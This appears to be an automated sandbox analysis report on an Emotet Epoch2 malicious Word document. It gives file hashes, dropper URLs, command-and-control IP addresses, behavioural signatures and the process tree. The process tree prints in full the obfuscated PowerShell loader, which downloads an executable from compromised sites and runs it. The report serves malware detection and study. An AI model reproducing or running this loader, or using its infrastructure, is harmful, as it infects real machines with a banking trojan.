emotet | 21509e892c4ef6e47bd2fe0d2290b20e48e4680f2f3537f12a061cd5912b1cac

General

Target

emotet_e2_21509e892c4ef6e47bd2fe0d2290b20e48e4680f2f3537f12a061cd5912b1cac_2020-10-28__174250968356._doc.doc
Size

218KB
MD5

8d7f667c5911d8e6c24bcbdbfe56b497
SHA1

e13f9c603441f701c0ca9a53bb9b69eb5cb071a9
SHA256

21509e892c4ef6e47bd2fe0d2290b20e48e4680f2f3537f12a061cd5912b1cac
SHA512

cc60e5138a4f1ff38329f30507a2840550758ca1bc0469f9c347ed735eb55b9af8ae69eb0dd646d4a22189e38812a6b386d66c7df3a25d3d770297556993b9e0

Score

10^/10

emotet epoch2 banker trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.saintmarcel.com/wp-includes/VKbL2/

exe.dropper

https://gayatrienterprise.org/wp-admin/DPBsj/

exe.dropper

https://weparditestaa.fi/wp-admin/72uPk/

exe.dropper

https://blog.6b47.com/Assets/w5U/

exe.dropper

https://www.easeiseasy.com/wp-admin/q/

exe.dropper

https://ursuperstar.com/wp-admin/AAxKlbV/

exe.dropper

https://kramedas.lt/wp-admin/E9Gciyc/

exe.dropper

https://critical-thinking.fr/wp-includes/vHQWren/

Extracted

Family

emotet

Botnet

Epoch2

C2

80.227.52.78:80

51.89.199.141:8080

173.212.214.235:7080

167.114.153.111:8080

61.19.246.238:443

37.179.204.33:80

190.164.104.62:80

95.9.5.93:80

138.68.87.218:443

176.111.60.55:8080

194.190.67.75:80

66.76.12.94:8080

190.29.166.0:80

139.59.60.244:8080

184.180.181.202:80

49.50.209.131:80

24.133.106.23:80

121.7.31.214:80

185.94.252.104:443

50.91.114.38:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

POwersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4188	2992	POwersheLL.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/8-12-0x0000000002210000-0x0000000002253000-memory.dmp	emotet
behavioral2/memory/8-13-0x00000000026C0000-0x0000000002702000-memory.dmp	emotet
behavioral2/memory/400-16-0x0000000002060000-0x00000000020A3000-memory.dmp	emotet
behavioral2/memory/400-17-0x00000000021E0000-0x0000000002222000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

Processes:

POwersheLL.exe

flow pid process

15 4188 POwersheLL.exe
19 4188 POwersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

R1s2f0emk.exetbs.exe

pid process

8 R1s2f0emk.exe
400 tbs.exe
Drops file in System32 directory 1 IoCs

Processes:

R1s2f0emk.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\msdelta\tbs.exe R1s2f0emk.exe

flow	pid	process
15	4188	POwersheLL.exe
19	4188	POwersheLL.exe

pid	process
8	R1s2f0emk.exe
400	tbs.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\msdelta\tbs.exe	R1s2f0emk.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 1 IoCs

Processes:

svchost.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey svchost.exe
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4760 WINWORD.EXE
4760 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

POwersheLL.exetbs.exe

pid process

4188 POwersheLL.exe
4188 POwersheLL.exe
4188 POwersheLL.exe
400 tbs.exe
400 tbs.exe
400 tbs.exe
400 tbs.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

POwersheLL.exe

description pid process

Token: SeDebugPrivilege 4188 POwersheLL.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXER1s2f0emk.exetbs.exe

pid process

4760 WINWORD.EXE
4760 WINWORD.EXE
4760 WINWORD.EXE
4760 WINWORD.EXE
4760 WINWORD.EXE
4760 WINWORD.EXE
4760 WINWORD.EXE
8 R1s2f0emk.exe
400 tbs.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

pid	process
4760	WINWORD.EXE
4760	WINWORD.EXE

pid	process
4188	POwersheLL.exe
4188	POwersheLL.exe
4188	POwersheLL.exe
400	tbs.exe
400	tbs.exe
400	tbs.exe
400	tbs.exe

description	pid	process
Token: SeDebugPrivilege	4188	POwersheLL.exe

pid	process
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE
8	R1s2f0emk.exe
400	tbs.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

R1s2f0emk.exe

description	pid	process	target process
PID 8 wrote to memory of 400	8	R1s2f0emk.exe	tbs.exe
PID 8 wrote to memory of 400	8	R1s2f0emk.exe	tbs.exe
PID 8 wrote to memory of 400	8	R1s2f0emk.exe	tbs.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_21509e892c4ef6e47bd2fe0d2290b20e48e4680f2f3537f12a061cd5912b1cac_2020-10-28__174250968356._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4760

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD S e t - I T E M     v A r I A B l e : P V J U     (     [ t Y P E ] ( " { 3 } { 0 } { 1 } { 2 } "   - f   ' E M . ' , ' i o . D i r e ' , ' c T o r Y ' , ' S y s T ' ) )   ;     $ D T N m r =     [ T y P e ] ( " { 0 } { 3 } { 4 } { 2 } { 1 } { 5 } "   - F ' s y s t e M . n E t . S e R v I c e ' , ' a n ' , ' T m ' , ' p ' , ' o I n ' , ' a G e R ' )   ;   $ V w 6 1 v p u = ( ' B ' + ( ' 2 ' + ' h w 9 ' ) + ' 2 x ' ) ; $ E j 2 p 1 5 2 = $ A 3 a s 7 q a   +   [ c h a r ] ( 6 4 )   +   $ R d 9 l v x o ; $ O u v d _ a m = ( ' W ' + ( ' e 1 ' + ' _ ' ) + ( ' 3 ' + ' 3 p ' ) ) ;   (   g I     V a R I a b L e : p v j u   ) . V A l u e : : " C ` R E A t e d ` I r ` E C t O R y " ( $ H O M E   +   ( ( ( ' 7 ' + ' o P Q ' ) + ( ' q 5 4 ' + ' 1 0 ' + ' o 7 o P Y q ' ) + ' r t ' + ( ' h t 1 ' + ' 7 o ' ) + ' P ' )     - C r E P L A c e ( [ C H A R ] 5 5 + [ C H A R ] 1 1 1 + [ C H A R ] 8 0 ) , [ C H A R ] 9 2 ) ) ; $ U 5 s q t h k = ( ( ' P ' + ' e c ' ) + ( ' s r j ' + ' e ' ) ) ;   (     G e t - V a r I a b L e   D t n M R ) . v A L U E : : " s e C u r ` I T ` y P R O t o C O l "   =   ( ( ' T l ' + ' s ' ) + ' 1 2 ' ) ; $ I v c n f u z = ( ' L 3 ' + ' x 3 ' + ( ' 2 ' + ' a 0 ' ) ) ; $ M 3 z y 9 1 j   =   ( ' R 1 ' + ( ' s ' + ' 2 f ' ) + ' 0 ' + ( ' e m ' + ' k ' ) ) ; $ M 6 9 6 3 x a = ( ( ' Q ' + ' g 1 ' ) + ( ' b d ' + ' j ' ) + ' f ' ) ; $ Z 2 v t x v g = ( ( ' V 2 2 ' + ' n ' ) + ' k n ' + ' r ' ) ; $ T j m o 7 y f = $ H O M E + ( ( ( ' R ' + ' l e ' + ' Q q 5 ' ) + ( ' 4 1 ' + ' 0 ' ) + ' o R ' + ' l e ' + ( ' Y q ' + ' r t ' ) + ( ' h t 1 R ' + ' l ' ) + ' e ' ) . " R E P ` L ` A C e " ( ( ' R ' + ' l e ' ) , [ S T r I n g ] [ C h a r ] 9 2 ) ) + $ M 3 z y 9 1 j + ( ' . ' + ( ' e x ' + ' e ' ) ) ; $ C 8 c 6 d w a = ( ' T ' + ( ' q ' + ' n 3 ' ) + ( ' g ' + ' x x ' ) ) ; $ X 0 2 v b c n = . ( ' n e ' + ' w - ' + ' o b j e c t ' )   N E t . w e B C L i E N T ; $ A d 4 0 l 8 h = ( ( ( ( ' h t t p s ' + ' : ] [   1 ) ' + '   ' + ' j j k g ' + ' S   [ ]   ' + ' [ ] w ' + ' ] [   1 )   j j k g S ' + '   [ ' + ' ]   ' + ' [ ] w w w w ' + ' . s a i n ' ) ) + ( ( ' t m a r c ' + ' e l ' + ' . c o m ' + ' ] [   ' + ' 1 ' + ' )   ' + ' j ' + ' j ' + ' k g S   ' + ' [ ]   [ ] w w p - ' + ' i n c l u d e s ] [   1 )   ' + ' j j k g S   [ ]   [ ] ' + ' w ' + ' V K b L 2 ] [   1 )   j j k g ' + ' S   [ ' ) ) + ( ( ' ]   ' + ' [ ] ' + ' w @ h t ' + ' t p s ' + ' : ] [ ' + '   1 ' + ' ) ' + '   j j ' + ' k g S   [ ] ' + '   [ ' + ' ] w ] [ ' + '   1 ' + ' )   j j k g S   [ ]   ' + ' [ ] ' + ' w g a y a t r i e n t e r p r ' ) ) + ( ( ' i s e . o ' + ' r g ] [   1 )   j ' + ' j ' + ' k ' ) ) + ( ( ' g S   ' + ' [ ' + ' ]   [ ' + ' ] w w p ' + ' - a d m i n ] [   1 )   ' + ' j j k g S   ' + ' [ ]   [ ] w D P B s ' + ' j ] [   1 )   j j ' + ' k g S ' ) ) + ( '   [ ]   ' + ' [ ] w ' + ' @ h t ' ) + ( ( ' t p s ' + ' : ' + ' ] [ ' + '   ' + ' 1 )   j j k g ' + ' S   [ ]   [ ] ' + ' w ] [ ' + '   ' ) ) + ( ( ' 1 )   ' + ' j j k ' + ' g ' + ' S ' + '   ' + ' [ ] ' + '   [ ] w w e p ' + ' a ' + ' r d ' + ' i t e ' + ' s ' + ' t a a . f i ] [   1 ' + ' )   ' + ' j j k g S   [ ] ' + '   [ ] w ' ) ) + ( ( ' w ' + ' p - ' + ' a ' + ' d m i n ' + ' ] ' + ' [   ' + ' 1 ' + ' )   j j ' + ' k g S   [ ]   [ ] w 7 2 u ' ) ) + ( ( ' P k ] [   1 ' + ' ) ' + '   ' + ' j j k g S ' + '   [ ' + ' ]   ' + ' [ ] w @ ' + ' h t t p s ' + ' : ] ' + ' [   1 )   ' + ' j ' ) ) + ( ' j ' + ' k g S   ' ) + ( ( ' [ ' + ' ]   ' + ' [ ] w ' + ' ] [   1 ) ' + '   j j ' + ' k ' + ' g ' + ' S ' + '   [ ]   [ ] w b l o ' + ' g . 6 b 4 7 ' + ' . c o m ] [   ' + ' 1 ) ' ) ) + ( '   j j k ' + ' g S   ' + ' [ ]   [ ' + ' ] w A s s e t s ] [ ' ) + ( ( '   1 )   ' + ' j j ' + ' k ' + ' g ' + ' S   [ ]   [ ] w w 5 U ] [ ' + '   1 ' + ' )   j j k ' + ' g ' + ' S ' + '   [ ' + ' ] ' ) ) + ( '   ' + ' [ ] w @ ' ) + ( ' h t t ' + ' p ' ) + ( ( ' s ' + ' : ] ' + ' [   1 )   j j ' + ' k g S   [ ]   ' + ' [ ] w ] [   1 )   ' + ' j j ' + ' k g S   ' + ' [ ] ' + '   [ ] w ' + ' w w w . e a s e i s e ' ) ) + ( ( ' a ' + ' s y ' + ' . c o m ] [   1 )   j j k g ' + ' S   ' + ' [ ' + ' ] ' + '   [ ' + ' ] w w ' + ' p ' ) ) + ( ( ' - a d m i n ] [   1 )   j j ' + ' k g S   ' + ' [ ]   [ ] w q ] ' + ' [ ' + '   ' + ' 1 )   ' + ' j ' + ' j ' + ' k g ' + ' S ' + '   ' + ' [ ]   ' + ' [ ] w @ ' + ' h t ' + ' t ' + ' p s ' + ' : ' + ' ] [   1 ) ' + '   ' + ' j ' + ' j k g S   ' + ' [ ]   [ ] w ] [   1 ' + ' )   j j k g S   [ ] ' + '   [ ] w ' + ' u r ' + ' s u p e r s ' + ' t a r . ' + ' c ' ) ) + ( ( ' o m ] [ ' + '   1 )   ' + ' j j k ' ) ) + ( ' g ' + ' S   [ ]   [ ] w ' ) + ( ( ' w p - a ' + ' d m ' + ' i n ] [   1 )   j ' + ' j ' + ' k g ' + ' S ' + '   ' + ' [ ]   [ ] ' + ' w A A x ' + ' K l b V ] [ ' + '   1 ' + ' )   j j ' + ' k ' + ' g S   ' + ' [ ]   ' + ' [ ] w @ h ' + ' t t p s : ] [   1 ' + ' ) ' + '   j j k g S   ' ) ) + ( ( ' [ ' + ' ]   [ ] w ] [   1 )   j j k g ' + ' S ' + '   [ ] ' + '   [ ] ' ) ) + ( ( ' w k r a m ' + ' e d a s . l t ] [   1 ' + ' )   j j k g S   ' + ' [ ' + ' ]   ' + ' [ ] w w p - ' ) ) + ( ( ' a d m i n ] [ ' + '   1 )   j ' + ' j k g S   [ ]   [ ] ' + ' w E ' + ' 9 ' + ' G c ' + ' i y c ] [   1 )   j j k ' + ' g ' + ' S   [ ]   [ ] w @ h t t p s : ] [   1 ) ' + '   j j ' + ' k ' + ' g S   ' + ' [ ]   [ ' + ' ] w ] ' + ' [   1 )   ' + ' j ' + ' j k ' + ' g S   [ ]   [ ] w ' + ' c r i ' ) ) + ( ' t i c a l - t h ' + ' i n k i ' + ' n ' + ' g . ' ) + ( ( ' f ' + ' r ' + ' ] [   1 )   j j k g ' + ' S   [ ]   ' + ' [ ] w ' + ' w ' + ' p - ' ) ) + ' i ' + ( ( ' n c l u d e s ] [   ' + ' 1 ) ' + '   ' ) ) + ( ' j j ' + ' k g ' + ' S ' + '   [ ]   [ ] w ' ) + ( ( ' v H ' + ' Q ' + ' W r e n ] [   1 )   j j k g S   ' + ' [ ' + ' ]   [ ] w ' ) ) ) ) . " R E ` P L A ` C e " ( ( ( ( ' ] [   ' + ' 1 ' ) + ( ( ' )   ' ) ) + ( ' j j k ' + ' g S ' + '   [ ]   [ ' + ' ] ' ) + ' w ' ) ) , ( [ a r r a y ] ( ' / ' ) , ( ' x ' + ' w e ' ) ) [ 0 ] ) . " S ` p l I t " ( $ P y 0 n 3 3 v   +   $ E j 2 p 1 5 2   +   $ R 2 b a 7 x a ) ; $ S _ 9 g h l n = ( ( ' T ' + ' v 2 h ' ) + ' h ' + ' o a ' ) ; f o r e a c h   ( $ X c n u 3 a l   i n   $ A d 4 0 l 8 h ) { t r y { $ X 0 2 v b c n . " D O w n L O a D ` F ` i l e " ( $ X c n u 3 a l ,   $ T j m o 7 y f ) ; $ C s 2 x o e 0 = ( ( ' I f f n ' + ' u ' ) + ' _ d ' ) ; I f   ( ( . ( ' G ' + ' e ' + ' t - I t e m ' )   $ T j m o 7 y f ) . " L ` e n G ` T h "   - g e   3 2 4 4 3 )   { ( [ w m i c l a s s ] ( ( ' w i ' + ' n 3 ' ) + ( ' 2 ' + ' _ P ' ) + ' r o ' + ( ' c e ' + ' s s ' ) ) ) . " c R e a ` T E " ( $ T j m o 7 y f ) ; $ C c g z r b l = ( ( ' O ' + ' w g a o 1 ' ) + ' k ' ) ; b r e a k ; $ V 9 o 7 o 7 w = ( ( ' P 6 ' + ' c f a ' ) + ' 5 3 ' ) } } c a t c h { } } $ Q 3 e l 6 s x = ( ' L m ' + ' 5 s ' + ( ' 3 ' + ' m 9 ' ) ) 
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4188

C:\Users\Admin\Qq5410o\Yqrtht1\R1s2f0emk.exe
C:\Users\Admin\Qq5410o\Yqrtht1\R1s2f0emk.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:8

C:\Windows\SysWOW64\msdelta\tbs.exe
"C:\Windows\SysWOW64\msdelta\tbs.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:400

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NgcSvc
1⤵
PID:4556

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
1⤵
PID:4492

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4600

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Qq5410o\Yqrtht1\R1s2f0emk.exe
MD5
d9bc1ac9b23207e86f6a39dec105bfdb

SHA1
6909596a8164bbb718010fdf7b8cb3fbe502b0ef

SHA256
742df97bbe76b0eb341c3c9fa39d1439758bafda980d1e2bcc94a7f5ce9eb829

SHA512
0311974bed9754675bd8f19ab628a2b55210dad0f49b47871b1baea11dcdfa975ee3874bae99b47a2a8321a04d9b407b1a15442de38a29deaae5d8dd6125d710

Download Submit
C:\Users\Admin\Qq5410o\Yqrtht1\R1s2f0emk.exe
MD5
d9bc1ac9b23207e86f6a39dec105bfdb

SHA1
6909596a8164bbb718010fdf7b8cb3fbe502b0ef

SHA256
742df97bbe76b0eb341c3c9fa39d1439758bafda980d1e2bcc94a7f5ce9eb829

SHA512
0311974bed9754675bd8f19ab628a2b55210dad0f49b47871b1baea11dcdfa975ee3874bae99b47a2a8321a04d9b407b1a15442de38a29deaae5d8dd6125d710

Download Submit
C:\Windows\SysWOW64\msdelta\tbs.exe
MD5
d9bc1ac9b23207e86f6a39dec105bfdb

SHA1
6909596a8164bbb718010fdf7b8cb3fbe502b0ef

SHA256
742df97bbe76b0eb341c3c9fa39d1439758bafda980d1e2bcc94a7f5ce9eb829

SHA512
0311974bed9754675bd8f19ab628a2b55210dad0f49b47871b1baea11dcdfa975ee3874bae99b47a2a8321a04d9b407b1a15442de38a29deaae5d8dd6125d710

Download Submit
memory/8-13-0x00000000026C0000-0x0000000002702000-memory.dmp

Filesize
264KB

Download
memory/8-12-0x0000000002210000-0x0000000002253000-memory.dmp

Filesize
268KB

Download
memory/400-17-0x00000000021E0000-0x0000000002222000-memory.dmp

Filesize
264KB

Download
memory/400-16-0x0000000002060000-0x00000000020A3000-memory.dmp

Filesize
268KB

Download
memory/400-14-0x0000000000000000-mapping.dmp

Download
memory/4188-8-0x00000153F4520000-0x00000153F4521000-memory.dmp

Filesize
4KB

Download
memory/4188-9-0x00000153F4A30000-0x00000153F4A31000-memory.dmp

Filesize
4KB

Download
memory/4188-7-0x00007FFE87170000-0x00007FFE87B5C000-memory.dmp

Filesize
9.9MB

Download
memory/4760-0-0x00007FFE8E7D0000-0x00007FFE8EE07000-memory.dmp

Filesize
6.2MB

Download
memory/4760-6-0x0000021AA4CA1000-0x0000021AA4CB2000-memory.dmp

Filesize
68KB

Download
memory/4760-3-0x0000021AA4CA1000-0x0000021AA4CB2000-memory.dmp

Filesize
68KB

Download
memory/4760-5-0x0000021AA4CA1000-0x0000021AA4CB2000-memory.dmp

Filesize
68KB

Download
memory/4760-4-0x0000021AA4CA1000-0x0000021AA4CB2000-memory.dmp

Filesize
68KB

Download
memory/4760-2-0x0000021AA4ABF000-0x0000021AA4ADE000-memory.dmp

Filesize
124KB

Download
memory/4760-1-0x0000021AA4ABF000-0x0000021AA4ADE000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads